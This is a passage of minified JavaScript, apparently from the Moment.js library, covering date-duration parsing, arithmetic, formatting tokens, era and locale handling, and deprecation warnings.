jt(e)?d={ms:e._milliseconds,d:e._days,M:e._months}:u(e)||!isNaN(+e)?(d={},t?d[t]=+e:d.milliseconds=+e):(c=Rt.exec(e))?(n="-"===c[1]?-1:1,d={y:0,d:J(c[2])*n,h:J(c[3])*n,m:J(c[4])*n,s:J(c[5])*n,ms:J(Ot(1e3*c[6]))*n}):(c=Nt.exec(e))?d={y:zt(c[2],n="-"===c[1]?-1:1),M:zt(c[3],n),w:zt(c[4],n),d:zt(c[5],n),h:zt(c[6],n),m:zt(c[7],n),s:zt(c[8],n)}:null==d?d={}:"object"==typeof d&&("from"in d||"to"in d)&&(i=xt(d.from),s=xt(d.to),r=i.isValid()&&s.isValid()?(s=Ft(s,i),i.isBefore(s)?l=Vt(i,s):((l=Vt(s,i)).milliseconds=-l.milliseconds,l.months=-l.months),l):{milliseconds:0,months:0},(d={}).ms=r.milliseconds,d.M=r.months),a=new Ct(d),jt(e)&&o(e,"_locale")&&(a._locale=e._locale),jt(e)&&o(e,"_isValid")&&(a._isValid=e._isValid),a}function zt(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Vt(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function qt(e,t){return function(n,a){var r;return null===a||isNaN(+a)||(Y(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),r=n,n=a,a=r),Bt(this,Wt(n,a),e),this}}function Bt(e,t,n,a){var i=t._milliseconds,s=Ot(t._days),o=Ot(t._months);e.isValid()&&(a=null==a||a,o&&Se(e,$(e,"Month")+o*n),s&&K(e,"Date",$(e,"Date")+s*n),i&&e._d.setTime(e._d.valueOf()+i*n),a&&r.updateOffset(e,s||o))}Wt.fn=Ct.prototype,Wt.invalid=function(){return Wt(NaN)};var Gt=qt(1,"add"),Jt=qt(-1,"subtract");function Ut(e){return"string"==typeof e||e instanceof String}function $t(e){return L(e)||c(e)||Ut(e)||u(e)||function(e){var t=i(e),n=!1;return t&&(n=0===e.filter((function(t){return!u(t)&&Ut(e)})).length),t&&n}(e)||function(e){var t,n=s(e)&&!l(e),a=!1,r=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<r.length;t+=1)a=a||o(e,r[t]);return n&&a}(e)||null==e}function Kt(e){var t,n=s(e)&&!l(e),a=!1,r=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<r.length;t+=1)a=a||o(e,r[t]);return n&&a}function Zt(e,t){if(e.date()<t.date())return-Zt(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),a=e.clone().add(n,"months");return-(n+(t-a<0?(t-a)/(a-e.clone().add(n-1,"months")):(t-a)/(e.clone().add(n+1,"months")-a)))||0}function Xt(e){var t;return void 0===e?this._locale._abbr:(null!=(t=lt(e))&&(this._locale=t),this)}r.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",r.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var Qt=w("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function en(){return this._locale}function tn(e,t){return(e%t+t)%t}function nn(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-126227808e5:new Date(e,t,n).valueOf()}function an(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-126227808e5:Date.UTC(e,t,n)}function rn(e,t){return t.erasAbbrRegex(e)}function sn(){var e,t,n=[],a=[],r=[],i=[],s=this.eras();for(e=0,t=s.length;e<t;++e)a.push(pe(s[e].name)),n.push(pe(s[e].abbr)),r.push(pe(s[e].narrow)),i.push(pe(s[e].name)),i.push(pe(s[e].abbr)),i.push(pe(s[e].narrow));this._erasRegex=new RegExp("^("+i.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+a.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+r.join("|")+")","i")}function on(e,t){F(0,[e,e.length],0,t)}function ln(e,t,n,a,r){var i;return null==e?Ee(this,a,r).year:(t>(i=Re(e,a,r))&&(t=i),dn.call(this,e,t,n,a,r))}function dn(e,t,n,a,r){var i=Ie(e,t,n,a,r),s=Pe(i.year,0,i.dayOfYear);return this.year(s.getUTCFullYear()),this.month(s.getUTCMonth()),this.date(s.getUTCDate()),this}F("N",0,0,"eraAbbr"),F("NN",0,0,"eraAbbr"),F("NNN",0,0,"eraAbbr"),F("NNNN",0,0,"eraName"),F("NNNNN",0,0,"eraNarrow"),F("y",["y",1],"yo","eraYear"),F("y",["yy",2],0,"eraYear"),F("y",["yyy",3],0,"eraYear"),F("y",["yyyy",4],0,"eraYear"),_e("N",rn),_e("NN",rn),_e("NNN",rn),_e("NNNN",(function(e,t){return t.erasNameRegex(e)})),_e("NNNNN",(function(e,t){return t.erasNarrowRegex(e)})),ye(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,a){var r=n._locale.erasParse(e,a,n._strict);r?f(n).era=r:f(n).invalidEra=e})),_e("y",de),_e("yy",de),_e("yyy",de),_e("yyyy",de),_e("yo",(function(e,t){return t._eraYearOrdinalRegex||de})),ye(["y","yy","yyy","yyyy"],0),ye(["yo"],(function(e,t,n,a){var r;n._locale._eraYearOrdinalRegex&&(r=e.match(n._locale._eraYearOrdinalRegex)),t[0]=n._locale.eraYearOrdinalParse?n._locale.eraYearOrdinalParse(e,r):parseInt(e,10)})),F(0,["gg",2],0,(function(){return this.weekYear()%100})),F(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),on("gggg","weekYear"),on("ggggg","weekYear"),on("GGGG","isoWeekYear"),on("GGGGG","isoWeekYear"),N("weekYear","gg"),N("isoWeekYear","GG"),q("weekYear",1),q("isoWeekYear",1),_e("G",ue),_e("g",ue),_e("GG",ae,Q),_e("gg",ae,Q),_e("GGGG",oe,te),_e("gggg",oe,te),_e("GGGGG",le,ne),_e("ggggg",le,ne),Me(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,a){t[a.substr(0,2)]=J(e)})),Me(["gg","GG"],(function(e,t,n,a){t[a]=r.parseTwoDigitYear(e)})),F("Q",0,"Qo","quarter"),N("quarter","Q"),q("quarter",7),_e("Q",X),ye("Q",(function(e,t){t[1]=3*(J(e)-1)})),F("D",["DD",2],"Do","date"),N("date","D"),q("date",9),_e("D",ae),_e("DD",ae,Q),_e("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),ye(["D","DD"],2),ye("Do",(function(e,t){t[2]=J(e.match(ae)[0])}));var un=U("Date",!0);F("DDD",["DDDD",3],"DDDo","dayOfYear"),N("dayOfYear","DDD"),q("dayOfYear",4),_e("DDD",se),_e("DDDD",ee),ye(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=J(e)})),F("m",["mm",2],0,"minute"),N("minute","m"),q("minute",14),_e("m",ae),_e("mm",ae,Q),ye(["m","mm"],4);var cn=U("Minutes",!1);F("s",["ss",2],0,"second"),N("second","s"),q("second",15),_e("s",ae),_e("ss",ae,Q),ye(["s","ss"],5);var hn,mn,_n=U("Seconds",!1);for(F("S",0,0,(function(){return~~(this.millisecond()/100)})),F(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),F(0,["SSS",3],0,"millisecond"),F(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),F(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),F(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),F(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),F(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),F(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),N("millisecond","ms"),q("millisecond",16),_e("S",se,X),_e("SS",se,Q),_e("SSS",se,ee),hn="SSSS";hn.length<=9;hn+="S")_e(hn,de);function fn(e,t){t[6]=J(1e3*("0."+e))}for(hn="S";hn.length<=9;hn+="S")ye(hn,fn);mn=U("Milliseconds",!1),F("z",0,0,"zoneAbbr"),F("zz",0,0,"zoneName");var pn=v.prototype;function gn(e){return e}pn.add=Gt,pn.calendar=function(e,t){1===arguments.length&&(arguments[0]?$t(arguments[0])?(e=arguments[0],t=void 0):Kt(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||xt(),a=Ft(n,this).startOf("day"),i=r.calendarFormat(this,a)||"sameElse",s=t&&(T(t[i])?t[i].call(this,n):t[i]);return this.format(s||this.localeData().calendar(i,this,xt(n)))},pn.clone=function(){return new v(this)},pn.diff=function(e,t,n){var a,r,i;if(!this.isValid())return NaN;if(!(a=Ft(e,this)).isValid())return NaN;switch(r=6e4*(a.utcOffset()-this.utcOffset()),t=W(t)){case"year":i=Zt(this,a)/12;break;case"month":i=Zt(this,a);break;case"quarter":i=Zt(this,a)/3;break;case"second":i=(this-a)/1e3;break;case"minute":i=(this-a)/6e4;break;case"hour":i=(this-a)/36e5;break;case"day":i=(this-a-r)/864e5;break;case"week":i=(this-a-r)/6048e5;break;default:i=this-a}return n?i:G(i)},pn.endOf=function(e){var t,n;if(void 0===(e=W(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?an:nn,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=36e5-tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5)-1;break;case"minute":t=this._d.valueOf(),t+=6e4-tn(t,6e4)-1;break;case"second":t=this._d.valueOf(),t+=1e3-tn(t,1e3)-1}return this._d.setTime(t),r.updateOffset(this,!0),this},pn.format=function(e){e||(e=this.isUtc()?r.defaultFormatUtc:r.defaultFormat);var t=I(this,e);return this.localeData().postformat(t)},pn.from=function(e,t){return this.isValid()&&(L(e)&&e.isValid()||xt(e).isValid())?Wt({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},pn.fromNow=function(e){return this.from(xt(),e)},pn.to=function(e,t){return this.isValid()&&(L(e)&&e.isValid()||xt(e).isValid())?Wt({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},pn.toNow=function(e){return this.to(xt(),e)},pn.get=function(e){return T(this[e=W(e)])?this[e]():this},pn.invalidAt=function(){return f(this).overflow},pn.isAfter=function(e,t){var n=L(e)?e:xt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=W(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},pn.isBefore=function(e,t){var n=L(e)?e:xt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=W(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},pn.isBetween=function(e,t,n,a){var r=L(e)?e:xt(e),i=L(t)?t:xt(t);return!!(this.isValid()&&r.isValid()&&i.isValid())&&("("===(a=a||"()")[0]?this.isAfter(r,n):!this.isBefore(r,n))&&(")"===a[1]?this.isBefore(i,n):!this.isAfter(i,n))},pn.isSame=function(e,t){var n,a=L(e)?e:xt(e);return!(!this.isValid()||!a.isValid())&&("millisecond"===(t=W(t)||"millisecond")?this.valueOf()===a.valueOf():(n=a.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},pn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},pn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},pn.isValid=function(){return p(this)},pn.lang=Qt,pn.locale=Xt,pn.localeData=en,pn.max=Yt,pn.min=Dt,pn.parsingFlags=function(){return m({},f(this))},pn.set=function(e,t){if("object"==typeof e){var n,a=function(e){var t,n=[];for(t in e)o(e,t)&&n.push({unit:t,priority:V[t]});return n.sort((function(e,t){return e.priority-t.priority})),n}(e=z(e));for(n=0;n<a.length;n++)this[a[n].unit](e[a[n].unit])}else if(T(this[e=W(e)]))return this[e](t);return this},pn.startOf=function(e){var t,n;if(void 0===(e=W(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?an:nn,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=tn(t+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":t=this._d.valueOf(),t-=tn(t,6e4);break;case"second":t=this._d.valueOf(),t-=tn(t,1e3)}return this._d.setTime(t),r.updateOffset(this,!0),this},pn.subtract=Jt,pn.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},pn.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},pn.toDate=function(){return new Date(this.valueOf())},pn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?I(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):T(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",I(n,"Z")):I(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},pn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n="moment",a="";return this.isLocal()||(n=0===this.utcOffset()?"moment.utc":"moment.parseZone",a="Z"),e="["+n+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",this.format(e+t+"-MM-DD[T]HH:mm:ss.SSS"+a+'[")]')},"undefined"!=typeof Symbol&&null!=Symbol.for&&(pn[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),pn.toJSON=function(){return this.isValid()?this.toISOString():null},pn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},pn.unix=function(){return Math.floor(this.valueOf()/1e3)},pn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},pn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},pn.eraName=function(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].name;if(a[e].until<=n&&n<=a[e].since)return a[e].name}return""},pn.eraNarrow=function(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].narrow;if(a[e].until<=n&&n<=a[e].since)return a[e].narrow}return""},pn.eraAbbr=function(){var e,t,n,a=this.localeData().eras();for(e=0,t=a.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),a[e].since<=n&&n<=a[e].until)return a[e].abbr;if(a[e].until<=n&&n<=a[e].since)return a[e].abbr}return""},pn.eraYear=function(){var e,t,n,a,i=this.localeData().eras();for(e=0,t=i.length;e<t;++e)if(n=i[e].since<=i[e].until?1:-1,a=this.clone().startOf("day").valueOf(),i[e].since<=a&&a<=i[e].until||i[e].until<=a&&a<=i[e].since)return(this.year()-r(i[e].since).year())*n+i[e].offset;return this.year()},pn.year=He,pn.isLeapYear=function(){return B(this.year())},pn.weekYear=function(e){return ln.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},pn.isoWeekYear=function(e){return ln.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},pn.quarter=pn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},pn.month=Ce,pn.daysInMonth=function(){return Le(this.year(),this.month())},pn.week=pn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},pn.isoWeek=pn.isoWeeks=function(e){var t=Ee(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},pn.weeksInYear=function(){var e=this.localeData()._week;return Re(this.year(),e.dow,e.doy)},pn.weeksInWeekYear=function(){var e=this.localeData()._week;return Re(this.weekYear(),e.dow,e.doy)},pn.isoWeeksInYear=function(){return Re(this.year(),1,4)},pn.isoWeeksInISOWeekYear=function(){return Re(this.isoWeekYear(),1,4)},pn.date=un,pn.day=pn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},pn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},pn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},pn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},pn.hour=pn.hours=Qe,pn.minute=pn.minutes=cn,pn.second=pn.seconds=_n,pn.millisecond=pn.milliseconds=mn,pn.utcOffset=function(e,t,n){var a,i=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=Pt(he,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(a=It(this)),this._offset=e,this._isUTC=!0,null!=a&&this.add(a,"m"),i!==e&&(!t||this._changeInProgress?Bt(this,Wt(e-i,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,r.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?i:It(this)},pn.utc=function(e){return this.utcOffset(0,e)},pn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(It(this),"m")),this},pn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=Pt(ce,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},pn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?xt(e).utcOffset():0,(this.utcOffset()-e)%60==0)},pn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},pn.isLocal=function(){return!!this.isValid()&&!this._isUTC},pn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},pn.isUtc=Et,pn.isUTC=Et,pn.zoneAbbr=function(){return this._isUTC?"UTC":""},pn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},pn.dates=w("dates accessor is deprecated. Use date instead.",un),pn.months=w("months accessor is deprecated. Use month instead",Ce),pn.years=w("years accessor is deprecated. Use year instead",He),pn.zone=w("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()})),pn.isDSTShifted=w("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!d(this._isDSTShifted))return this._isDSTShifted;var e,t={};return M(t,this),(t=kt(t))._a?(e=t._isUTC?_(t._a):xt(t._a),this._isDSTShifted=this.isValid()&&function(e,t,n){var a,r=Math.min(e.length,t.length),i=Math.abs(e.length-t.length),s=0;for(a=0;a<r;a++)J(e[a])!==J(t[a])&&s++;return s+i}(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}));var bn=C.prototype;function yn(e,t,n,a){var r=lt(),i=_().set(a,t);return r[n](i,e)}function Mn(e,t,n){if(u(e)&&(t=e,e=void 0),e=e||"",null!=t)return yn(e,t,n,"month");var a,r=[];for(a=0;a<12;a++)r[a]=yn(e,a,n,"month");return r}function vn(e,t,n,a){"boolean"==typeof e?(u(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,u(t)&&(n=t,t=void 0),t=t||"");var r,i=lt(),s=e?i._week.dow:0,o=[];if(null!=n)return yn(t,(n+s)%7,a,"day");for(r=0;r<7;r++)o[r]=yn(t,(r+s)%7,a,"day");return o}bn.calendar=function(e,t,n){var a=this._calendar[e]||this._calendar.sameElse;return T(a)?a.call(t,n):a},bn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.match(O).map((function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e})).join(""),this._longDateFormat[e])},bn.invalidDate=function(){return this._invalidDate},bn.ordinal=function(e){return this._ordinal.replace("%d",e)},bn.preparse=gn,bn.postformat=gn,bn.relativeTime=function(e,t,n,a){var r=this._relativeTime[n];return T(r)?r(e,t,n,a):r.replace(/%d/i,e)},bn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return T(n)?n(t):n.replace(/%s/i,t)},bn.set=function(e){var t,n;for(n in e)o(e,n)&&(T(t=e[n])?this[n]=t:this["_"+n]=t);this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},bn.eras=function(e,t){var n,a,i,s=this._eras||lt("en")._eras;for(n=0,a=s.length;n<a;++n){switch(typeof s[n].since){case"string":i=r(s[n].since).startOf("day"),s[n].since=i.valueOf()}switch(typeof s[n].until){case"undefined":s[n].until=1/0;break;case"string":i=r(s[n].until).startOf("day").valueOf(),s[n].until=i.valueOf()}}return s},bn.erasParse=function(e,t,n){var a,r,i,s,o,l=this.eras();for(e=e.toUpperCase(),a=0,r=l.length;a<r;++a)if(i=l[a].name.toUpperCase(),s=l[a].abbr.toUpperCase(),o=l[a].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(s===e)return l[a];break;case"NNNN":if(i===e)return l[a];break;case"NNNNN":if(o===e)return l[a]}else if([i,s,o].indexOf(e)>=0)return l[a]},bn.erasConvertYear=function(e,t){var n=e.since<=e.until?1:-1;return void 0===t?r(e.since).year():r(e.since).year()+(t-e.offset)*n},bn.erasAbbrRegex=function(e){return o(this,"_erasAbbrRegex")||sn.call(this),e?this._erasAbbrRegex:this._erasRegex},bn.erasNameRegex=function(e){return o(this,"_erasNameRegex")||sn.call(this),e?this._erasNameRegex:this._erasRegex},bn.erasNarrowRegex=function(e){return o(this,"_erasNarrowRegex")||sn.call(this),e?this._erasNarrowRegex:this._erasRegex},bn.months=function(e,t){return e?i(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||xe).test(t)?"format":"standalone"][e.month()]:i(this._months)?this._months:this._months.standalone},bn.monthsShort=function(e,t){return e?i(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[xe.test(t)?"format":"standalone"][e.month()]:i(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},bn.monthsParse=function(e,t,n){var a,r,i;if(this._monthsParseExact)return Te.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),a=0;a<12;a++){if(r=_([2e3,a]),n&&!this._longMonthsParse[a]&&(this._longMonthsParse[a]=new RegExp("^"+this.months(r,"").replace(".","")+"$","i"),this._shortMonthsParse[a]=new RegExp("^"+this.monthsShort(r,"").replace(".","")+"$","i")),n||this._monthsParse[a]||(i="^"+this.months(r,"")+"|^"+this.monthsShort(r,""),this._monthsParse[a]=new RegExp(i.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[a].test(e))return a;if(n&&"MMM"===t&&this._shortMonthsParse[a].test(e))return a;if(!n&&this._monthsParse[a].test(e))return a}},bn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||je.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=Ye),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},bn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||je.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=De),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},bn.week=function(e){return Ee(e,this._week.dow,this._week.doy).week},bn.firstDayOfYear=function(){return this._week.doy},bn.firstDayOfWeek=function(){return this._week.dow},bn.weekdays=function(e,t){var n=i(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Ne(n,this._week.dow):e?n[e.day()]:n},bn.weekdaysMin=function(e){return!0===e?Ne(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin},bn.weekdaysShort=function(e){return!0===e?Ne(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort},bn.weekdaysParse=function(e,t,n){var a,r,i;if(this._weekdaysParseExact)return Je.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),a=0;a<7;a++){if(r=_([2e3,1]).day(a),n&&!this._fullWeekdaysParse[a]&&(this._fullWeekdaysParse[a]=new RegExp("^"+this.weekdays(r,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[a]=new RegExp("^"+this.weekdaysShort(r,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[a]=new RegExp("^"+this.weekdaysMin(r,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[a]||(i="^"+this.weekdays(r,"")+"|^"+this.weekdaysShort(r,"")+"|^"+this.weekdaysMin(r,""),this._weekdaysParse[a]=new RegExp(i.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[a].test(e))return a;if(n&&"ddd"===t&&this._shortWeekdaysParse[a].test(e))return a;if(n&&"dd"===t&&this._minWeekdaysParse[a].test(e))return a;if(!n&&this._weekdaysParse[a].test(e))return a}},bn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||Ue.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=qe),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},bn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||Ue.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=Be),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},bn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||Ue.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=Ge),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},bn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},bn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},st("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===J(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),r.lang=w("moment.lang is deprecated. Use moment.locale instead.",st),r.langData=w("moment.langData is deprecated. Use moment.localeData instead.",lt);var Ln=Math.abs;function kn(e,t,n,a){var r=Wt(t,n);return e._milliseconds+=a*r._milliseconds,e._days+=a*r._days,e._months+=a*r._months,e._bubble()}function wn(e){return e<0?Math.floor(e):Math.ceil(e)}function xn(e){return 4800*e/146097}function Dn(e){return 146097*e/4800}function Yn(e){return function(){return this.as(e)}}var Tn=Yn("ms"),Sn=Yn("s"),Cn=Yn("m"),jn=Yn("h"),On=Yn("d"),Hn=Yn("w"),An=Yn("M"),Pn=Yn("Q"),Fn=Yn("y");function In(e){return function(){return this.isValid()?this._data[e]:NaN}}var En=In("milliseconds"),Rn=In("seconds"),Nn=In("minutes"),Wn=In("hours"),zn=In("days"),Vn=In("months"),qn=In("years"),Bn=Math.round,Gn={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function Jn(e,t,n,a,r){return r.relativeTime(t||1,!!n,e,a)}var Un=Math.abs;function $n(e){return(e>0)-(e<0)||+e}function Kn(){if(!this.isValid())return this.localeData().invalidDate();var 